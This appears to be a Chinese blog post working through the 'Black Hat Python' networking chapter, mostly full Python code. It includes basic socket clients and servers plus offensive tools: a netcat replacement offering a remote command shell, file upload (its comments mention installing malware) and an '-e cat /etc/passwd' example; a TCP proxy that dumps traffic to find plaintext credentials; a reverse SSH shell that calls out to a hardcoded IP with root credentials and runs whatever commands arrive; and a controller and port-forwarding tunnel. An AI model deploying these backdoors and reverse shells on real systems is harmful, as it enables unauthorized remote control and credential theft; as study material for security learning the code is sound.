Python黑帽子-网络基础

0xGeekCat · 2020-8-9 · 次阅读


TCP客户端

import socket

target_host = '0.0.0.0'
target_port = 9998

# 建立socket对象,AF_INEF表明使用标准IPv4地址或主机名,SOCK_STREAM为TCP客户端
clint = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 客户端连接服务器
clint.connect((target_host, target_port))

# 发送数据
clint.send(b"ABCDEF")

# 接收数据
request = clint.recv(4096)

print(request)

UDP客户端

import socket

target_host = "127.0.0.1"
target_post = 80

# 建立socket对象,SOCK_DGRAM为UDP客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 发送数据 UDP为无连接状态传输协议,不需要connect()
client.sendto(b"AAABBBCCC", (target_host, target_post))

# 接收回传数据及远程主机信息和端口号
data, addr = client.recvfrom(4096)

print(data)

TCP服务器

import socket
import threading

bind_ip = "0.0.0.0"
bind_port = 9998

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 启动监听
server.bind((bind_ip, bind_port))

# 最大连接数设为5
server.listen(5)

print("[*] Listening on %s:%d" % (bind_ip, bind_port))

# 处理客户端线程
def handle_client(client_socket):

    # 打印客户端发送内容
    request = client_socket.recv(1024)

    print("[*] Received: %s" % request)

    # 返回数据包
    client_socket.send(b"ACK!")

    client_socket.close()


# 服务端进入主循环,等待连接
while True:

    # 接收客户端套接字对象对象存储于client,远程连接细节存储于addr
    client, addr = server.accept()

    print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))

    # 挂起客户端线程,处理传入数据
    client_handler = threading.Thread(target=handle_client, args=(client,))

    # 启动线程处理客户端连接
    client_handler.start()

取代netcat

import sys
import socket
import getopt
import threading
import subprocess

listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0


def usage():
    print("supersede NET Tool")
    print()
    print("Usage: supersedeNetCat.py -t target_host -p post")
    print("-l --listen                - listen on [host]:[post] for incoming connections")
    print("-e --execute=file_to_run   - execute the given file upon receiving a connection")
    print("-c --command               - initialize a command shell")
    print("-u --upload=destination    - upon receiving connection upload a file and write to [destination]")
    print()
    print()
    print("Examples: ")
    print("python3 supersedeNetCat.py -t 192.168.0.1 -p 5555 -l -c")
    print("python3 supersedeNetCat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
    print("python3 supersedeNetCat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
    print("echo 'ABCDEFGHI' | python3 supersedeNetCat.py -t 192.168.11.12 -p 135")
    sys.exit(0)


def main():

    # 对global变量进行修改
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项,:表示参数必须有值
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu",
                                   ["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print(err)
        print()
        usage()

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--command"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            # assert条件为false触发异常
            assert False, "Unhandled Option"

    # 模仿netcat从标准输入中读取数据并通过网络发送数据
    # 如果需要交互式地发送数据,需要发送CTRL-D以避免从标准输入中读取数据
    # sys.stdin.read阻塞进程执行,EOF结束输入,之后进程继续执行到client_sender
    if not listen and len(target) and port > 0:

        # 从命令行读取string类型数据,这里将堵塞,直到接收EOF(文件结尾)标志
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # print(123)

    # 检测listen参数为True,建立监听套接字,准备处理下一步命令(上传文件,执行命令,开启新命令行shell)
    if listen:
        server_loop()


def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接目标主机
        client.connect((target, port))

        # 检测是否已经从标准输入中接收到数据,如果正常就将数据发送给远程目标主机
        if len(buffer):
            client.send(buffer.encode())

        while True:

            # 现在等待数据回传
            recv_len = 1
            response = ""

            # 接收回传数据直到没有更多数据发送回来
            while recv_len:

                data = client.recv(4096).decode()
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response, end="")

            # 等待更多输出
            buffer = input("")
            buffer += "\n"

            # 发送数据,encode默认编码UTF-8,将string转变为byte
            client.send(buffer.encode())

    except:

        print("[*] Exception! Exiting.")

        # 关闭连接
        client.close()


def server_loop():

    global target

    # 如果没有定义目标就监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # 分拆一个线程处理新客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()


def run_command(cmd):

    # subprocess库提供强大的进程创建接口,提供多种与客户端程序交互的方法

    # rstrip删除字符串尾部空字符
    cmd = cmd.rstrip()

    # 运行命令并将输出返回
    try:
        # subprocess.check_output返回shell命令执行结果,参数shell=True可以传入字符串shell命令而不是shell命令列表,参数stderr=subprocess.STDOUT捕获错误,使错误通过标准输出流输出
        # 运行用户输入的命令,在目标操作系统中运行,然后通过连接将命令结果回传到用户控制的客户端
        output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)  # 返回bytes类型
    except:
        output = "Failed to execute command.\r\n".encode()

    # 发送输出
    return output


def client_handler(client_socket):

    global upload
    global execute
    global command

    # 检测建立连接之后是否设置为接收文件,有助于用户上传测试脚本、安装恶意软件或让恶意软件清除Python脚本
    if len(upload_destination):

        # 读取所有字符并写下目标
        file_buffer = ""

        # 持续读取数据,保证数据完全接收
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        # 编写数据,wb标识确保上传和写入的二进制文件可以成功执行
        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer.encode())
            file_descriptor.close()
            # 确认文件写入
            client_socket.send("Successfully saved file to %s\r\n".encode() % upload_destination)
        except:
            client_socket.send("Failed saved file to %s\r\n".encode() % upload_destination)

    # 检测命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)

        client_socket.send(output.encode())

    # 命令行shell,程序持续处理输入的数据执行命令并输出回传
    if command:

        while True:
            # 跳出窗口
            client_socket.send("\033[36m<Shell:#>\033[0m".encode())

            # 接收文件直到发现换行符(enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode()

                # 返回命令输出
                response = run_command(cmd_buffer)

                # 返回相应数据
                client_socket.send(response)


main()

TCP代理

import sys
import socket
import threading


def main():

    # 没有华丽的命令解析
    if len(sys.argv[1:]) != 5:
        print("Usage: python3 tcpProxy.py [localhost] [localport] [remotehost] [remoteport] [receivefirst]")
        print("Example: python3 tcpProxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # 设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # 告诉代理在发送给远程主机之前连接和接收数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    # 监听socket
    server_loop(local_host, local_port, remote_host, remote_port, receive_first)


# 本地TCP代理服务器
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print("[!] Failed to listen on %s:%d" % (local_host, local_port))
        print("[!] Check for other listening sockets or correct permissions")
        sys.exit(0)

    print("[*] Listening on %s:%d" % (local_host, local_port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # 打印本地连接信息
        print("\033[36m[==>] Received incoming connection from %s:%d\033[0m" % (addr[0], addr[1]))

        # 开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))

        proxy_thread.start()


def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    # 如果必须先从远处主机接收数据,确保不向远程主机主动发送数据
    if receive_first:

        # 一些作为服务的进程会做例如FTP服务器一般会先发送旗标的行为
        # receive_from使用套接字对象实现数据接收
        remote_buffer = receive_from(remote_socket)
        # 转存数据包负载,查看里面是否有感兴趣的内容
        hexdump(remote_buffer)

        # 将接收数据发送给响应处理
        # response_handler可以修改数据包内容,进行模糊测试任务,检测认证问题,修改输出流量
        remote_buffer = response_handler(remote_buffer)

        # 如果有数据传递给本地客户端,发送它
        if len(remote_buffer):
            print("\033[36m[<==] Sending %d bytes to localhost.\033[0m" % len(remote_buffer))
            client_socket.send(remote_buffer)

    # 从本地循环读取数据,发送给远程主机和本地主机
    while True:

        # 从本地读取数据
        local_buffer = receive_from(client_socket)

        if len(local_buffer):

            print("\033[36m[==>] Received %d bytes from localhost.\033[0m" % len(local_buffer))
            hexdump(local_buffer)

            # 发送给本地请求
            local_buffer = request_handler(local_buffer)

            # 向远程主机发送数据
            remote_socket.send(local_buffer)
            print("\033[36m[==>] Send to remote.\033[0m")

        # 接收响应数据
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):

            print("\033[36m[==>] Received %d bytes from remote.\033[0m" % len(remote_buffer))
            hexdump(remote_buffer)

            # 发送到响应处理函数
            remote_buffer = response_handler(remote_buffer)

            # 将响应发送到本地
            client_socket.send(remote_buffer)

            print("\033[36m[<==] Send to localhost.\033[0m")

        # 如果两边都没有数据,关闭连接
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print("[*] No more data. Closing connections.")

            break


# 16进制导出函数,用于转储,将输出数据包的十六进制值和可打印的ASCII码字符
# 对了解未知协议非常有用,还能找到使用明文协议的认证信息
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i + length]
        hexa = ' '.join([hex(x)[2:].upper().zfill(digits) for x in s])
        text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
        result.append("{0:04X}".format(i) + ' ' * 3 + hexa.ljust(length * (digits + 1)) + ' ' * 3 + "{0}".format(text))

    print('\n'.join(result))


# 用于接收本地和远程主机的数据,使用socket对象最为参数
# socket默认超时设置为2秒,此设置对代理流量到其它国家或网速慢的网络过于苛刻(根据需要修改)
def receive_from(connection):

    buffer = b""

    # 设置两秒超时,根据目标情况调整
    connection.settimeout(2)

    try:
        # 持续从缓存中读取数据知道没有数据或者超时
        while True:
            data = connection.recv(4096)

            if not data:
                break

            buffer += data
    except:
        pass

    return buffer


# request_handler和response_handler允许修改代理双向数据流量

# 修改远程主机请求
def request_handler(buffer):

    return buffer


# 修改本地主机响应
def response_handler(buffer):

    return buffer


main()

SSH客户端

import paramiko


def ssh_command(ip, user, passwd, command):

    client = paramiko.SSHClient()

    # 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    # client.load_host_keys('')

    # set_missing_host_key_policy()设置管理HostKeys策略
    # paramiko.AutoAddPolicy()自动增加主机名和服务器主机密钥到本地的HostKeys对象并且保存它
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # 连接SSH服务器
    client.connect(ip, username=user, password=passwd)

    # client.get_transport().open_session()向服务器请求session
    ssh_session = client.get_transport().open_session()

    if ssh_session.active:
        # print("ssh_session:", ssh_session)
        # 执行命令
        ssh_session.exec_command(command)
        # 输出响应
        print(ssh_session.recv(1024).decode())

    return


ssh_command('#', '#', '#', 'id')

反向SSH

import paramiko
import subprocess


def ssh_command(ip, user, passwd, command):

    client = paramiko.SSHClient()

    # client.save_host_keys()

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    client.connect(ip, username=user, password=passwd)

    ssh_session = client.get_transport().open_session()

    if ssh_session.active:

        ssh_session.send(command)

        print(ssh_session.recv(1024).decode())

        while True:

            command = ssh_session.recv(1024).decode()

            try:

                cmd_output = subprocess.check_output(command, shell=True)

                ssh_session.send(cmd_output)

            except Exception as e:

                print(e)

                ssh_session.send(str(e).encode())

        client.close()

    return


ssh_command('10.173.168.26', 'root', '123', 'ClientConnected')

SSH服务器

import socket
import paramiko
import threading
import sys


# 使用paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='/Users/max/.ssh/id_rsa')


# SSH管道设置
class Server(paramiko.ServerInterface):

    def __init__(self):

        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):

        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED

    def check_auth_password(self, username, password):

        if username == 'ssh' and password == 'ssh':
            return paramiko.AUTH_SUCCESSFUL

        return paramiko.AUTH_FAILED


server = sys.argv[1]
ssh_port = int(sys.argv[2])

# 开启socket监听
try:

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # SOL_SOCKET表示正在使用的socket选项,SO_REUSEADDR表示当socket关闭后,本地端用于该socket的端口号立刻就可以被重用
    # 1表示SO_REUSEADDR为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)

    print("[+] Listening for connection ...")
    client, addr = sock.accept()
except Exception as e:

    print("[-] Listening failed:", str(e))
    sys.exit(1)

print("[+] Got a connection!")

# 认证模式
try:
    session = paramiko.Transport(client)
    print("session:", session)
    # 将主机密钥添加到用于服务器模式的密钥列表中
    session.add_server_key(host_key)

    server = Server()

    try:
        # 启动SSH服务器
        session.start_server(server=server)
    except paramiko.SSHException as x:
        print("[-] SSH negotiation failed.")

    chan = session.accept(20)
    # 客户端认证成功
    print("[+] Authenticated!")
    print(chan.recv(1024).decode())
    chan.send("Welcome to ssh".encode())

    # 发回ClientConnected消息
    while True:

        try:
            command = input("Enter command: ").strip()

            if command != 'exit':
                chan.send(command)
                print(chan.recv(1024).decode() + '\n')
            else:
                chan.send("exit!")
                print("exiting")
                session.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            session.close()
except Exception as e:
    print("[-] Caught exception:", str(e))

    try:
        session.close()
    except:
        pass
    sys.exit(1)

SSH隧道

import getpass
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


# 任务处理
def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
        return

    verbose('Connected!  Tunnel open %r -> %r -> %r' % (chan.origin_addr,
                                                        chan.getpeername(), (host, port)))
    while True:
        r, w, x = select.select([ sock, chan ], [ ], [ ])
        # http://www.cnblogs.com/alex3714/p/4372426.html
        # select通过单进程实现同时处理多个非阻塞的socket连接。
        # 可以为系统底层中接收就绪一个消息后就会标注一个记号,我们读取到记号后采取相应的动作。
        # 这里实现了channel与sock的数据交换。
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose('Tunnel closed from %r' % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
    transport.request_port_forward('', server_port)
    # request_port_forward  ==> 把端口接收到的数据转发到SSH session
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


# 拆解hostname:port,port可缺省
def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(':', 1) + [ default_port ])[ :2 ]
    args[ 1 ] = int(args[ 1 ])
    return args[ 0 ], args[ 1 ]


# 使用OptionParser类,解析命令行参数。
# https://mrwlwan.wordpress.com/2008/09/25/python:-使用-optparse-处理命令行参数/
def parse_options():
    global g_verbose

    parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
                          version='%prog 1.0', description=HELP)
    parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
                      help='squelch all informational output')
    parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
                      default=DEFAULT_PORT,
                      help='port on server to forward (default: %d)' % DEFAULT_PORT)
    parser.add_option('-u', '--user', action='store', type='string', dest='user',
                      default=getpass.getuser(),
                      help='username for SSH authentication (default: %s)' % getpass.getuser())
    parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
                      default=None,
                      help='private key file to use for SSH authentication')
    parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
                      help='don\'t look for or use a private key file')
    parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
                      help='read password (for key or password auth) from stdin')
    parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
                      help='remote host and port to forward to')
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error('Incorrect number of arguments.')
    if options.remote is None:
        parser.error('Remote address required (-r).')

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[ 0 ], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)  # 这个是否有问题? 服务器端口 ? DEFAULT_PORT
    return options, (server_host, server_port), (remote_host, remote_port)


# 主函数
def main():
    options, server, remote = parse_options()  # 参数解析
    # server是指SSH server/host
    # remote是指Web server
    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose('Connecting to ssh host %s:%d ...' % (server[ 0 ], server[ 1 ]))
    try:
        client.connect(server[ 0 ], server[ 1 ], username=options.user, key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys, password=password)
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (server[ 0 ], server[ 1 ], e))
        sys.exit(1)

    verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[ 0 ], remote[ 1 ]))

    try:
        reverse_forward_tunnel(options.port, remote[ 0 ], remote[ 1 ], client.get_transport())  # Transport类
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)


if __name__ == '__main__':
    main()